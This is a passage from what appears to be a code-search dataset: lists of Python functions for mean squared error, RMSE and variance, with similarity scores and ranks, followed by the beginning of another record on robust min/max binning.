np.sqrt(np.sum((actual - pred) **2) /len(pred))\n return rmse","def calculate_std(self) -> float:\n\n if self.data:\n return np.std(self.data)\n else:\n return self.sigma","def ivrmse(self):\n return (self.model_error_iv()**2).mean()**.5","def rmse(self, X, y) -> float:\n return np.sqrt(np.sum(self.l2_error(X, y)))","def mse(real, predicted):\n # Calculate the mse\n N = len(real)\n mse = (1 / N) * np.sum((real - predicted) ** 2)\n return mse","def MSE(ratings, range):\n\n def squared_err(pair):\n (r, rP) = pair\n return (r-rP)**2\n\n return (1/len(ratings)) * sum(map(squared_err, ratings))","def rmse(y_true: np.ndarray, y_pred: np.ndarray):\n return np.sqrt(np.mean(np.power(y_true - y_pred, 2)))","def _mse2(self, trace, **inputs):\n exp = np.dot(inputs['gwas_gen'],\n trace['beta_med'].mean(axis=0).T)\n phen_pred = exp * trace['alpha'].mean()\n mse = np.mean((inputs['gwas_phen'] - phen_pred) ** 2)\n return mse","def sigma(self):\n with ops.name_scope(self.name):\n return self._cov.to_dense()","def rmse(x_pred, x_target, dim=0):\n if dim == 0:\n return x_pred.sub(x_target).pow(2).mean().sqrt().item()\n elif dim == 1:\n return x_pred.sub(x_target).pow(2).mean((0,1)).sqrt().squeeze()\n elif dim == 2:\n return x_pred.sub(x_target).pow(2).mean((0,2)).sqrt().squeeze()\n else:\n raise ValueError(\"Not a valid dimension\")","def rmse(actual: np.ndarray, predicted: np.ndarray):\n return np.sqrt(np.mean(np.square(_error(actual, predicted))))","def MSE(im, ref, reduce=True):\n return torch.mean((im - ref) ** 2)","def MSE(y,yhat):\r\n #\r\n y = np.asarray(y)\r\n yhat = np.asarray(yhat)\r\n if y.size != yhat.size:\r\n raise(ValueError(\"y and yhat should be of same size now\\n\\\r\n size(y) = %d and size(yhat) = %d\"%(y.size,yhat.size)))\r\n N = yhat.size\r\n y = y.reshape(N,)\r\n yhat = yhat.reshape(N,)\r\n \r\n res = y - yhat\r\n sse = np.sum(res**2) #sum squared errors\r\n MSE = sse/N\r\n return(MSE)","def _calc_msve(self):\n v = []\n for state in self._env.state_iterator():\n feature_vector = self._features.vector(state)\n v.append(utils.state_value(feature_vector, self.theta))\n\n self.msve.append(utils.rmse(v, self._true_values))","def _calculate_excess_variance(self, lc):\n std = self._calculate_std(lc)\n return np.var(lc) - std**2","def rmse(y_true, y_pred): # -> Any:\n ...","def calculate_mse(img0, img1):\n mse = skm.mean_squared_error(img0, img1)\n return mse","def get_sigma_e(cat, area):\n\n e1 = cat['e1']\n e2 = cat['e2']\n w = np.ones_like(cat['e1'])\n\n snvar = 0.24#np.sqrt((cat['e1'][mask][cat['snr'][mask]>100].var()+cat['e2'][mask][cat['snr'][mask]>100].var())/2.)\n var = 1./w - snvar**2\n var[var < 0.] = 0.\n s = 1.\n w[w > snvar**-2] = snvar**-2\n print( 'var',var.min(),var.max())\n\n mean_e1 = np.asscalar(np.average(cat['e1'],weights=w))\n mean_e2 = np.asscalar(np.average(cat['e2'],weights=w))\n\n a1 = np.sum(w**2 * (e1-mean_e1)**2)\n a2 = np.sum(w**2 * (e2-mean_e2)**2)\n b = np.sum(w**2)\n c = np.sum(w * s)\n\n d = np.sum(w)\n\n sigma_e = np.sqrt( (a1/c**2 + a2/c**2) * (d**2/b) / 2. ) \n sigma_ec = np.sqrt( np.sum(w**2 * (e1**2 + e2**2 - var)) / (2.*np.sum(w**2 * s**2)) ) \n\n return sigma_e, sigma_ec, mean_e1, mean_e2","def mse(y, yhat):\n return 0.5 * jnp.mean((y - yhat)**2)","def weighted_var_se(w, x):\n n, = w.shape\n assert x.shape[-1] == n\n xWbar = (x @ w) / w.sum()\n wbar = w.mean()\n\n w__wbar = w-wbar\n wx__wbar_xWbar = w*x - wbar * xWbar[..., None]\n\n se = n/((n-1) * w.sum()**2)*(\n (wx__wbar_xWbar ** 2).sum(-1)\n - 2*xWbar * (wx__wbar_xWbar @ w__wbar)\n + xWbar**2 * (w__wbar @ w__wbar))\n\n return xWbar, se","def RMSE(X, y, w):\r\n n = X.shape[0]\r\n f = X @ w\r\n J = np.sqrt(np.sum(np.power((y - f), 2)) / n)\r\n return J","def heritability(parents, offspring):\n covariance_matrix = np.cov(parents, offspring)\n return covariance_matrix[0,1] / covariance_matrix[0,0]","def MeanSquaredError(y_data, y_model):\n\tn = np.size(y_model)\n\tMSE = (1/n)*np.sum((y_data-y_model)**2)\n\n\treturn MSE","def MeanSqError(self):\r\n\t\treturn self.mse","def heritability(parents, offspring):\n covariance_matrix = np.cov(parents, offspring)\n return covariance_matrix[0][1] / covariance_matrix[0][0]","def mse(response_vector, prediction_vector):\n return np.power(response_vector - prediction_vector, 2).mean()","def MSE(self, imageA, imageB):\n return np.mean((imageA.astype(\"float\") - imageB.astype(\"float\")) ** 2)","def mse(x1, x2, axis=0):\n x1 = np.asanyarray(x1)\n x2 = np.asanyarray(x2)\n return np.mean((x1 - x2) ** 2, axis=axis)","def variance(self):\n return self.sigma","def evse(self, data, *args, **kwargs):\n darr = np.array(data)\n d = darr if len(darr.shape) == 1 else darr[0] / darr[1]\n return (d - self.evs(darr, *args, **kwargs))**2","def loss_mse(self, coeffs, x_values, y_values):\n return np.mean(pow(self.f(x_values, coeffs) - y_values, 2))","def rmse(sim, obs, dim=\"time\"):\n rmse = np.sqrt(mse(sim, obs, dim=dim))\n rmse.name = \"rmse\"\n return rmse","def rmse_calc(arr1, arr2):\n assert arr1.shape==arr2.shape\n \n return np.sqrt(np.mean((arr2-arr1)**2))","def mse(y_pred, y):\n return np.mean((y - y_pred)**2)"],"string":"[\n \"def rmse(self):\\n lam = self.lam()\\n weights = lam / lam.sum()\\n weighted_var = self.var() * weights\\n rmse = np.sqrt(weighted_var.sum())\\n return rmse\",\n \"def _mse(self):\\n error = self._input * self._weights - self._label\\n sum_ = 0.0\\n for i in range(self._input.shape[0]):\\n sum_ += error[i, 0]**2\\n return sum_/self._input.shape[0]\",\n \"def compute_MSE(e):\\n\\n return 1/2*np.mean(e**2)\",\n \"def compute_mse(y, tx, w):\\n print(\\\"y.shape = \\\", y.shape)\\n print(\\\"tx.shape = \\\", tx.shape)\\n e = y - tx.dot(w)\\n print(\\\"e.shape = \\\", e.shape)\\n mse = e.T.dot(e) / (2 * len(e))\\n return mse\",\n \"def calculate_mse(e):\\n return 1/2*np.mean(e.dot(e))\",\n \"def compute_mse(y, tx, w):\\n e = y[:, np.newaxis] - tx @ w\\n return (e * e).sum() / (2.0 * len(y))\",\n \"def _mse(self, weights):\\n error = self._input * weights - self._label\\n sum_ = 0.0\\n for i in range(self._input.shape[0]):\\n sum_ += error[i, 0]**2\\n return sum_ / self._input.shape[0]\",\n \"def calculate_mse(e):\\r\\n return 1/2*np.mean(e**2)\",\n \"def mse(X, Y, W):\\n\\n # TODO\\n mse = np.sum((X@W-Y)**2)/(2*X.shape[0])\\n # END TODO\\n\\n return mse\",\n \"def mse(datax,datay,w):\\n return np.mean((datax.dot(w.T)-datay)**2)\",\n \"def mse(gt, pred):\\n return np.mean((gt - pred) ** 2)\",\n \"def mse(gt, pred):\\n return np.mean((gt - pred) ** 2)\",\n \"def compute_rmse(y, tx, w):\\n return np.sqrt(2*compute_mse(y,tx,w))\",\n \"def calcSE(self):\\n # Make sure the Variance is already calculated\\n if not hasattr(self,'ZmAreaVar'):\\n self.calcZmAreaVar()\\n # Standard Error = Square Root of Variance\\n self.SE = self.ZmAreaVar ** 0.5\\n # Should I be returning the value also?\\n # Or just setting the attribute?\\n return self.SE\",\n \"def calcSE(self):\\n # Make sure the Variance is already calculated\\n if not hasattr(self,'ZmAreaVar'):\\n self.calcZmAreaVar()\\n # Standard Error = Square Root of Variance\\n self.SE = self.ZmAreaVar ** 0.5\\n # Should I be returning the value also?\\n # Or just setting the attribute?\\n return self.SE\",\n \"def compute_mse(y, tx, w):\\n e = y-tx@w\\n return 1/(2*y.shape[0])*e.transpose()@e\",\n \"def MSE(X, y, w):\\r\\n n = X.shape[0]\\r\\n f = X @ w\\r\\n J = np.sum(np.power((y - f), 2)) / n\\r\\n return J\",\n \"def MSE(actual, noisy):\\n mean_squared_error(actual, noisy)\",\n \"def calc_rmse(self, data):\\n res= data.score- data[['userid','itemid']].apply(lambda row:self.calc_score(row[0], row[1]),axis=1)\\n res=[el**2 for el in np.array(res)]\\n return np.sqrt(np.sum(res)/data.shape[0])\",\n \"def rmse(self):\\n y_pred, y_true = self._finalize_labels_and_prediction()\\n\\n return np.sqrt(F.mse_loss(y_pred, y_true).cpu().item())\",\n \"def rmse(self):\\n y_pred, y_true = self._finalize_labels_and_prediction()\\n\\n return np.sqrt(F.mse_loss(y_pred, y_true).cpu().item())\",\n \"def rmse(self, weights=None) -> float:\\n return sqrt(np.average((self.true - self.predicted) ** 2, axis=0, weights=weights))\",\n \"def compute_rmse(y, tx, w):\\n return np.sqrt(2 * compute_mse(y, tx, w))\",\n \"def compute_mse(y, tx, w):\\n e = y - tx@w\\n mse = e.T.dot(e) /(2*len(e))\\n return mse\",\n \"def mse(x, y):\\n\\n return (x - y).pow(2).sum(dim=1, keepdim=True).mean() / x.size(1)\",\n \"def mse(observed, predicted):\\n return np.sqrt(np.mean((observed - predicted)**2))\",\n \"def compute_mse(y, tx, w):\\n e = y - tx.dot(w)\\n mse = e.dot(e) / (2 * len(e))\\n return mse\",\n \"def mse(y_true: np.ndarray, y_pred: np.ndarray) -> float:\\n return np.mean(np.power(y_true - y_pred, 2))\",\n \"def rmse(self):\\n return (self.model_error()**2).mean()**.5\",\n \"def mse(self):\\n xs, ys = self.R.nonzero()\\n predicted = self.full_matrix()\\n error = 0\\n for x, y in zip(xs, ys):\\n # print(predicted[x, y], self.R[x, y] )\\n error += pow(self.R[x, y] - predicted[x, y], 2)\\n return np.sqrt(error)\",\n \"def mse(result, expected):\\n total_square_sum = 0\\n for index1 in range(0, len(result)):\\n total_square_sum += (result[index1] - expected[index1]) ** 2\\n return total_square_sum / float(len(result))\",\n \"def _compute_variance(params):\\n batch_grad = self._fetch_batch_grad(params, aggregate=True)\\n grad = self._fetch_grad(params, aggregate=True)\\n batch_size = batch_grad.size(0)\\n\\n if self._use_double:\\n batch_grad = batch_grad.double()\\n grad = grad.double()\\n\\n return (1 / (batch_size - 1)) * ((batch_size * batch_grad - grad) ** 2).sum(\\n 0\\n )\",\n \"def mse(self, X, Y):\\n\\t\\treturn mse_k(X, to_1_of_K(Y))\",\n \"def compute_RMSE(e):\\n \\\"\\\"\\\"Corresponds to sqrt(2*MSE)\\\"\\\"\\\"\\n \\n return np.sqrt(2*compute_MSE(e))\",\n \"def mse(actual,expected):\\n return np.mean(se(actual,expected))\",\n \"def em_var(self) -> float:\\n if self.__total_pulls == 0:\\n raise Exception('Number of pulls is 0. No empirical variance.')\\n return (self.__sum_of_square_reward -\\n self.__total_rewards**2 / self.__total_pulls) / self.__total_pulls\",\n \"def computeMse(data_target, Y):\\n if data_target.shape != Y.shape:\\n print \\\"the shapes does not correspond\\\",\\n print data_target.shape,\\n print Y.shape\\n exit(-1)\\n return np.sum(np.square(data_target - Y) / Y.shape[0])\",\n \"def calc_mse(data, ax=0):\\n return ((data[:, 0] - data[:, 1]) ** 2).mean(axis=ax)\",\n \"def calcEout(model_type): \\n b, v = calcStatistics(model_type)\\n return b + v\",\n \"def compute_mse_loss(y, tx, w):\\n e = y - np.dot(tx, w)\\n N = e.size\\n return (1./(2*N)) * np.sum(np.square(e))\",\n \"def compute_loss_mse(y, tx, w):\\n e = y - tx.dot(w)\\n\\n return e.dot(e.T)/(2*len(e))\",\n \"def mse(targets: List[float], preds: List[float]) -> float:\\n return mean_squared_error(targets, preds)\",\n \"def mse(predicted, actual):\\n diff = predicted - actual\\n return np.average(diff * diff, axis=0)\",\n \"def calculate_mse(in_img, out_img):\\n error = 0\\n for x in range(in_img.shape[0]):\\n for y in range(in_img.shape[1]):\\n error += (in_img[x, y] - out_img[x, y]) ** 2\\n return error / (in_img.shape[0] * in_img.shape[1])\",\n \"def error_MSE(resid):\\n if resid.ndim == 2:\\n return (norm(np.asarray(resid).ravel())**2)/float(resid.shape[1])\\n elif resid.ndim == 1:\\n return (norm(np.asarray(resid).ravel())**2)\\n else:\\n raise Exception(\\\"array passed to error_MSE has incorrect shape\\\")\",\n \"def mse ( target_array ):\\n return np.mean ( ( target_array - np.mean ( target_array ) ) ** 2 )\\n # End mse()\",\n \"def mse_k(self, X, Y):\\n\\t\\treturn np.power(Y - self.predict_soft(X), 2).sum(1).mean(0)\",\n \"def compute_loss(y, tx, w):\\n # ***************************************************\\n # INSERT YOUR CODE HERE\\n # TODO: compute loss by MSE / MAE\\n # ***************************************************\\n \\n # vector e\\n e = compute_e(y, tx, w)\\n N = compute_N(e)\\n L_MSE = np.dot(np.matrix.transpose(e), e)\\n L_MSE = L_MSE / (2 * N)\\n \\n return L_MSE\",\n \"def RMSE(observed: np.ndarray, targets: np.ndarray) -> np.float64:\\n\\treturn np.sqrt(np.mean((observed-targets)**2))\",\n \"def mse(self, x_tensors=None):\\n\\n return self.se(x_tensors)/self.y.size\",\n \"def rmse(y_preds: ndarray, y_actual: ndarray) -> float:\\n\\n return np.sqrt(np.mean(np.power(y_preds - y_actual, 2)))\",\n \"def compute_loss_mse(y, tx, w):\\n y = np.array([y]).T.reshape([len(y), 1])\\n w = np.array([w]).T.reshape([len(w), 1])\\n \\n e = y - np.matmul(tx,w) \\n \\n return (1/(2 * y.shape[0])) * (e.T.dot(e))\",\n \"def d_mse(x, y):\\n\\n return 2 * (x - y) / x.size(0) / x.size(1)\",\n \"def variance(self):\\n sum_sqdif = 0 # initialize sum of squared differences\\n # Calculate sum of squared differences\\n for site in self.sites:\\n sqdif = (site.siteZmArea - self.meanZmArea()) ** 2\\n sum_sqdif = sqdif + sum_sqdif \\n # Standard Deviation\\n stddev = ((1 / ( float(self.ni) - 1 )) * sum_sqdif ) ** 0.5\\n # Variance\\n var = stddev ** 2\\n return var\",\n \"def mse(sim, obs, dim=\\\"time\\\"):\\n # wrap numpy function\\n kwargs = dict(\\n input_core_dims=[[dim], [dim]], dask=\\\"parallelized\\\", output_dtypes=[float]\\n )\\n mse = xr.apply_ufunc(_mse, sim, obs, **kwargs)\\n mse.name = \\\"mse\\\"\\n return mse\",\n \"def mse(self, y):\\n return T.mean((self.y_pred - y) ** 2)\",\n \"def mse(A, B):\\n return ((A - B) ** 2).mean(axis=0)\",\n \"def calc_RMSE(pred, gt, mask, percentage=False, model='', index=None):\\n if model[:6] == 'conv3d':\\n #true_mask[:, :, 1:-1] = mask[:, :, 1:-1]\\n mask[:, :, 0] = 0\\n mask[:, :, -1] = 0\\n if index is not None:\\n index = index - 1\\n\\n if index is not None:\\n pred = pred[:, :, index:index+1]\\n gt = gt[:, :, index:index+1]\\n mask = mask[:, :, index:index+1]\\n\\n pred = pred[mask > 0]\\n gt = gt[mask > 0]\\n\\n if percentage:\\n return np.sqrt((((pred - gt) / (gt + 1e-7)) ** 2).mean())\\n else:\\n return np.sqrt(((pred - gt) ** 2).mean())\",\n \"def mse(Y_truth, Y_new):\\n Y_new_mean = np.mean(Y_new, axis = 1)[:,None]\\n mse_calc = np.mean((Y_new_mean - Y_truth[:,None]) ** 2)\\n return mse_calc\",\n \"def mse(self, data, *args, **kwargs):\\n return self._mse(np.array(data), *args, **kwargs)\",\n \"def MSE(a,b,axis):\\n return ((a-b)**2).mean(axis=axis)\",\n \"def variance(self):\\n return 1 / self.count() * sum((number-self.average())**2 for number in self.numbers)\",\n \"def decomposed_mse(self) -> float:\\n e_std = np.std(self.true)\\n s_std = np.std(self.predicted)\\n\\n bias_squared = self.bias() ** 2\\n sdsd = (e_std - s_std) ** 2\\n lcs = 2 * e_std * s_std * (1 - self.corr_coeff())\\n\\n decomposed_mse = bias_squared + sdsd + lcs\\n\\n return float(decomposed_mse)\",\n \"def calc_variance(a, b, c, d, e):\\n mean_of_num = (a + b + c + d + e) / 5\\n return ( (a - mean_of_num)**2 + (b - mean_of_num)**2 + (c - mean_of_num)**2\\n + (d - mean_of_num)**2 + (e - mean_of_num)**2) / 5\",\n \"def irmse(self) -> float:\\n # Getting the gradient of the observed data\\n obs_len = self.true.size\\n obs_grad = self.true[1:obs_len] - self.true[0:obs_len - 1]\\n\\n # Standard deviation of the gradient\\n obs_grad_std = np.std(obs_grad, ddof=1)\\n\\n # Divide RMSE by the standard deviation of the gradient of the observed data\\n return float(self.rmse() / obs_grad_std)\",\n \"def rmse(x, y):\\n return mse(x, y) ** .5\",\n \"def _compute_rmse(self, data):\\n actual = data.rating.values\\n pred = self._predict_all(data)\\n rmse = np.sqrt(np.sum((actual - pred) **2) /len(pred))\\n return rmse\",\n \"def calculate_std(self) -> float:\\n\\n if self.data:\\n return np.std(self.data)\\n else:\\n return self.sigma\",\n \"def ivrmse(self):\\n return (self.model_error_iv()**2).mean()**.5\",\n \"def rmse(self, X, y) -> float:\\n return np.sqrt(np.sum(self.l2_error(X, y)))\",\n \"def mse(real, predicted):\\n # Calculate the mse\\n N = len(real)\\n mse = (1 / N) * np.sum((real - predicted) ** 2)\\n return mse\",\n \"def MSE(ratings, range):\\n\\n def squared_err(pair):\\n (r, rP) = pair\\n return (r-rP)**2\\n\\n return (1/len(ratings)) * sum(map(squared_err, ratings))\",\n \"def rmse(y_true: np.ndarray, y_pred: np.ndarray):\\n return np.sqrt(np.mean(np.power(y_true - y_pred, 2)))\",\n \"def _mse2(self, trace, **inputs):\\n exp = np.dot(inputs['gwas_gen'],\\n trace['beta_med'].mean(axis=0).T)\\n phen_pred = exp * trace['alpha'].mean()\\n mse = np.mean((inputs['gwas_phen'] - phen_pred) ** 2)\\n return mse\",\n \"def sigma(self):\\n with ops.name_scope(self.name):\\n return self._cov.to_dense()\",\n \"def rmse(x_pred, x_target, dim=0):\\n if dim == 0:\\n return x_pred.sub(x_target).pow(2).mean().sqrt().item()\\n elif dim == 1:\\n return x_pred.sub(x_target).pow(2).mean((0,1)).sqrt().squeeze()\\n elif dim == 2:\\n return x_pred.sub(x_target).pow(2).mean((0,2)).sqrt().squeeze()\\n else:\\n raise ValueError(\\\"Not a valid dimension\\\")\",\n \"def rmse(actual: np.ndarray, predicted: np.ndarray):\\n return np.sqrt(np.mean(np.square(_error(actual, predicted))))\",\n \"def MSE(im, ref, reduce=True):\\n return torch.mean((im - ref) ** 2)\",\n \"def MSE(y,yhat):\\r\\n #\\r\\n y = np.asarray(y)\\r\\n yhat = np.asarray(yhat)\\r\\n if y.size != yhat.size:\\r\\n raise(ValueError(\\\"y and yhat should be of same size now\\\\n\\\\\\r\\n size(y) = %d and size(yhat) = %d\\\"%(y.size,yhat.size)))\\r\\n N = yhat.size\\r\\n y = y.reshape(N,)\\r\\n yhat = yhat.reshape(N,)\\r\\n \\r\\n res = y - yhat\\r\\n sse = np.sum(res**2) #sum squared errors\\r\\n MSE = sse/N\\r\\n return(MSE)\",\n \"def _calc_msve(self):\\n v = []\\n for state in self._env.state_iterator():\\n feature_vector = self._features.vector(state)\\n v.append(utils.state_value(feature_vector, self.theta))\\n\\n self.msve.append(utils.rmse(v, self._true_values))\",\n \"def _calculate_excess_variance(self, lc):\\n std = self._calculate_std(lc)\\n return np.var(lc) - std**2\",\n \"def rmse(y_true, y_pred): # -> Any:\\n ...\",\n \"def calculate_mse(img0, img1):\\n mse = skm.mean_squared_error(img0, img1)\\n return mse\",\n \"def get_sigma_e(cat, area):\\n\\n e1 = cat['e1']\\n e2 = cat['e2']\\n w = np.ones_like(cat['e1'])\\n\\n snvar = 0.24#np.sqrt((cat['e1'][mask][cat['snr'][mask]>100].var()+cat['e2'][mask][cat['snr'][mask]>100].var())/2.)\\n var = 1./w - snvar**2\\n var[var < 0.] = 0.\\n s = 1.\\n w[w > snvar**-2] = snvar**-2\\n print( 'var',var.min(),var.max())\\n\\n mean_e1 = np.asscalar(np.average(cat['e1'],weights=w))\\n mean_e2 = np.asscalar(np.average(cat['e2'],weights=w))\\n\\n a1 = np.sum(w**2 * (e1-mean_e1)**2)\\n a2 = np.sum(w**2 * (e2-mean_e2)**2)\\n b = np.sum(w**2)\\n c = np.sum(w * s)\\n\\n d = np.sum(w)\\n\\n sigma_e = np.sqrt( (a1/c**2 + a2/c**2) * (d**2/b) / 2. ) \\n sigma_ec = np.sqrt( np.sum(w**2 * (e1**2 + e2**2 - var)) / (2.*np.sum(w**2 * s**2)) ) \\n\\n return sigma_e, sigma_ec, mean_e1, mean_e2\",\n \"def mse(y, yhat):\\n return 0.5 * jnp.mean((y - yhat)**2)\",\n \"def weighted_var_se(w, x):\\n n, = w.shape\\n assert x.shape[-1] == n\\n xWbar = (x @ w) / w.sum()\\n wbar = w.mean()\\n\\n w__wbar = w-wbar\\n wx__wbar_xWbar = w*x - wbar * xWbar[..., None]\\n\\n se = n/((n-1) * w.sum()**2)*(\\n (wx__wbar_xWbar ** 2).sum(-1)\\n - 2*xWbar * (wx__wbar_xWbar @ w__wbar)\\n + xWbar**2 * (w__wbar @ w__wbar))\\n\\n return xWbar, se\",\n \"def RMSE(X, y, w):\\r\\n n = X.shape[0]\\r\\n f = X @ w\\r\\n J = np.sqrt(np.sum(np.power((y - f), 2)) / n)\\r\\n return J\",\n \"def heritability(parents, offspring):\\n covariance_matrix = np.cov(parents, offspring)\\n return covariance_matrix[0,1] / covariance_matrix[0,0]\",\n \"def MeanSquaredError(y_data, y_model):\\n\\tn = np.size(y_model)\\n\\tMSE = (1/n)*np.sum((y_data-y_model)**2)\\n\\n\\treturn MSE\",\n \"def MeanSqError(self):\\r\\n\\t\\treturn self.mse\",\n \"def heritability(parents, offspring):\\n covariance_matrix = np.cov(parents, offspring)\\n return covariance_matrix[0][1] / covariance_matrix[0][0]\",\n \"def mse(response_vector, prediction_vector):\\n return np.power(response_vector - prediction_vector, 2).mean()\",\n \"def MSE(self, imageA, imageB):\\n return np.mean((imageA.astype(\\\"float\\\") - imageB.astype(\\\"float\\\")) ** 2)\",\n \"def mse(x1, x2, axis=0):\\n x1 = np.asanyarray(x1)\\n x2 = np.asanyarray(x2)\\n return np.mean((x1 - x2) ** 2, axis=axis)\",\n \"def variance(self):\\n return self.sigma\",\n \"def evse(self, data, *args, **kwargs):\\n darr = np.array(data)\\n d = darr if len(darr.shape) == 1 else darr[0] / darr[1]\\n return (d - self.evs(darr, *args, **kwargs))**2\",\n \"def loss_mse(self, coeffs, x_values, y_values):\\n return np.mean(pow(self.f(x_values, coeffs) - y_values, 2))\",\n \"def rmse(sim, obs, dim=\\\"time\\\"):\\n rmse = np.sqrt(mse(sim, obs, dim=dim))\\n rmse.name = \\\"rmse\\\"\\n return rmse\",\n \"def rmse_calc(arr1, arr2):\\n assert arr1.shape==arr2.shape\\n \\n return np.sqrt(np.mean((arr2-arr1)**2))\",\n \"def mse(y_pred, y):\\n return np.mean((y - y_pred)**2)\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.68916774","0.68723106","0.6812043","0.6696123","0.6679333","0.66682017","0.6649163","0.6577138","0.6400805","0.63694525","0.63601","0.63601","0.6322204","0.6321516","0.6321516","0.6274082","0.6248884","0.6246755","0.62400144","0.6237504","0.6237504","0.62336427","0.62302876","0.6175981","0.6165109","0.61476725","0.61393946","0.6136746","0.61245155","0.61196584","0.61084145","0.6085289","0.6081476","0.60776657","0.60767174","0.60543376","0.6014168","0.6006371","0.5992029","0.59862185","0.5977759","0.5954962","0.5954277","0.59367776","0.59200823","0.5907282","0.5898094","0.5836298","0.5834693","0.5825566","0.58230156","0.58137465","0.58090955","0.5795359","0.5789911","0.57797426","0.57745135","0.5769177","0.5765951","0.576573","0.5752313","0.57481927","0.5747724","0.5721079","0.5713831","0.57125264","0.57104766","0.57055616","0.57009447","0.5698569","0.56894916","0.5684193","0.5678427","0.5672423","0.56650746","0.5661835","0.56594175","0.56535035","0.56467384","0.56451344","0.5637915","0.5637002","0.5633102","0.56320083","0.56255496","0.562505","0.56172895","0.5615852","0.5598178","0.55980825","0.5594057","0.5592452","0.55889875","0.5587804","0.5584414","0.55817574","0.5560079","0.55558044","0.55527437","0.5550721"],"string":"[\n \"0.68916774\",\n \"0.68723106\",\n \"0.6812043\",\n \"0.6696123\",\n \"0.6679333\",\n \"0.66682017\",\n \"0.6649163\",\n \"0.6577138\",\n \"0.6400805\",\n \"0.63694525\",\n \"0.63601\",\n \"0.63601\",\n \"0.6322204\",\n \"0.6321516\",\n \"0.6321516\",\n \"0.6274082\",\n \"0.6248884\",\n \"0.6246755\",\n \"0.62400144\",\n \"0.6237504\",\n \"0.6237504\",\n \"0.62336427\",\n \"0.62302876\",\n \"0.6175981\",\n \"0.6165109\",\n \"0.61476725\",\n \"0.61393946\",\n \"0.6136746\",\n \"0.61245155\",\n \"0.61196584\",\n \"0.61084145\",\n \"0.6085289\",\n \"0.6081476\",\n \"0.60776657\",\n \"0.60767174\",\n \"0.60543376\",\n \"0.6014168\",\n \"0.6006371\",\n \"0.5992029\",\n \"0.59862185\",\n \"0.5977759\",\n \"0.5954962\",\n \"0.5954277\",\n \"0.59367776\",\n \"0.59200823\",\n \"0.5907282\",\n \"0.5898094\",\n \"0.5836298\",\n \"0.5834693\",\n \"0.5825566\",\n \"0.58230156\",\n \"0.58137465\",\n \"0.58090955\",\n \"0.5795359\",\n \"0.5789911\",\n \"0.57797426\",\n \"0.57745135\",\n \"0.5769177\",\n \"0.5765951\",\n \"0.576573\",\n \"0.5752313\",\n \"0.57481927\",\n \"0.5747724\",\n \"0.5721079\",\n \"0.5713831\",\n \"0.57125264\",\n \"0.57104766\",\n \"0.57055616\",\n \"0.57009447\",\n \"0.5698569\",\n \"0.56894916\",\n \"0.5684193\",\n \"0.5678427\",\n \"0.5672423\",\n \"0.56650746\",\n \"0.5661835\",\n \"0.56594175\",\n \"0.56535035\",\n \"0.56467384\",\n \"0.56451344\",\n \"0.5637915\",\n \"0.5637002\",\n \"0.5633102\",\n \"0.56320083\",\n \"0.56255496\",\n \"0.562505\",\n \"0.56172895\",\n \"0.5615852\",\n \"0.5598178\",\n \"0.55980825\",\n \"0.5594057\",\n \"0.5592452\",\n \"0.55889875\",\n \"0.5587804\",\n \"0.5584414\",\n \"0.55817574\",\n \"0.5560079\",\n \"0.55558044\",\n \"0.55527437\",\n \"0.5550721\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.6078163"},"document_rank":{"kind":"string","value":"33"}}},{"rowIdx":15397,"cells":{"query":{"kind":"string","value":"Assumption is that bins which when sorted lie outside top_bottom_bin_range are outliers and the relevant 'robust' minimum and maximum are percentiles within the top_bottom_bin_range This is a bit lie the scikitlearn robust scaler idea; though not exactly"},"document":{"kind":"string","value":"def find_robust_min_max(x, pct_thresh=0.05, top_bottom_bin_range=2000000):\n y = x[x > 0]\n idxs = np.argsort(y)\n abs_max = y[idxs[-1]]\n abs_min = y[idxs[0]]\n robust_max = y[idxs[-int(pct_thresh * top_bottom_bin_range)]]\n robust_min = y[idxs[int(pct_thresh * top_bottom_bin_range)]]\n log.info('Array length original, non-zero: {}, {}'.format(len(x), len(y)))\n log.info('Absolute min, max: {}, {}'.format(abs_min, abs_max))\n log.info('Robust min, max: {}, {}'.format(robust_min, robust_max))\n return robust_min, robust_max"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def binning(data, low, high):\n if len(data) == 0: return 1\n\n mask1 = (data >= low)\n mask2 = (data < high)\n mask3 = numpy.logical_and(mask1, mask2)\n data = data[mask3]\n\n if len(data) == 0: return 10\n\n data.sort()\n q1 = data[int(math.floor(0.25*len(data)))]\n q3 = data[int(math.floor(0.75*len(data)))]\n binwidth = 2. * (q3 - q1) / len(data)**(1./3.)\n if binwidth > 0.:\n return max(10, int(math.ceil((high - low)/binwidth)))\n else:\n return 10","def _get_optimal_threshold(arr, num_bins=1001, num_quantized_bins=255):\n if not isinstance(arr, np.ndarray):\n raise TypeError('get_optimal_threshold only supports input type of np.ndarray,'\n ' while received type=%s' % (str(type(arr))))\n min_val = np.min(arr)\n max_val = np.max(arr)\n th = max(abs(min_val), abs(max_val))\n\n hist, hist_edges = np.histogram(arr, bins=num_bins, range=(-th, th))\n zero_bin_idx = num_bins // 2\n num_half_quantized_bins = num_quantized_bins // 2\n assert np.allclose(hist_edges[zero_bin_idx] + hist_edges[zero_bin_idx + 1],\n 0, rtol=1e-5, atol=1e-7)\n\n thresholds = np.zeros(num_bins // 2 + 1 - num_quantized_bins // 2)\n divergence = np.zeros_like(thresholds)\n quantized_bins = np.zeros(num_quantized_bins, dtype=np.int32)\n # i means the number of bins on half axis excluding the zero bin.\n for i in range(num_quantized_bins // 2,\n num_bins // 2 + 1):\n p_bin_idx_start = zero_bin_idx - i\n p_bin_idx_stop = zero_bin_idx + i + 1\n thresholds[i - num_half_quantized_bins] = hist_edges[p_bin_idx_stop]\n sliced_nd_hist = hist[p_bin_idx_start:p_bin_idx_stop]\n\n # generate reference distribution p\n p = sliced_nd_hist.copy()\n assert p.size % 2 == 1\n assert p.size >= num_quantized_bins\n # put left outlier count in p[0]\n left_outlier_count = np.sum(hist[0:p_bin_idx_start])\n p[0] += left_outlier_count\n # put right outlier count in p[-1]\n right_outlier_count = np.sum(hist[p_bin_idx_stop:])\n p[-1] += right_outlier_count\n # is_nonzeros[k] indicates whether hist[k] is nonzero\n is_nonzeros = (sliced_nd_hist != 0).astype(np.int32)\n\n # calculate how many bins should be merged to generate quantized distribution q\n num_merged_bins = p.size // num_quantized_bins\n # merge hist into num_quantized_bins bins\n for j in range(num_quantized_bins):\n start = j * num_merged_bins\n stop = start + num_merged_bins\n quantized_bins[j] = 